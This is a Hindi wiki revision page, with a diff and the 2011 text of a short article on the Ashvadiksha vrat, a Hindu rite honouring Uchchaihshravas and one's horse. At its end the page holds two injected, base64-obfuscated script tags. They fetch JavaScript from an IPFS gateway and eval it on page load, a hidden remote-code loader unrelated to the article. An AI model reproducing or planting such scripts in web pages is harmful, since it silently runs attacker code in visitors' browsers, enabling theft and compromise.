आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति 3: | पंक्ति 3: | ||
*अश्वदीक्षा व्रत में उच्चैःश्रवा की पूजा होती है और अपने [[घोड़ा|घोड़े]] का भी सम्मान किया जाता है। | *अश्वदीक्षा व्रत में उच्चैःश्रवा की पूजा होती है और अपने [[घोड़ा|घोड़े]] का भी सम्मान किया जाता है। | ||
* घोड़े के गले में चार [[रंग|रंगों]] के धागे बाँधे जाते हैं और शान्ति कृत्य किए जाते हैं।<ref>नीलमतपुराण (पृ0 77, [[श्लोक]] 943-947</ref> | * घोड़े के गले में चार [[रंग|रंगों]] के धागे बाँधे जाते हैं और शान्ति कृत्य किए जाते हैं।<ref>नीलमतपुराण (पृ0 77, [[श्लोक]] 943-947</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
08:08, 21 मार्च 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- जब आश्विन शुक्ल पक्ष की नवमी में चन्द्र स्वाति में रहता है तब अश्वदीक्षा व्रत किया जाता है।
- अश्वदीक्षा व्रत में उच्चैःश्रवा की पूजा होती है और अपने घोड़े का भी सम्मान किया जाता है।
- घोड़े के गले में चार रंगों के धागे बाँधे जाते हैं और शान्ति कृत्य किए जाते हैं।[1]
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>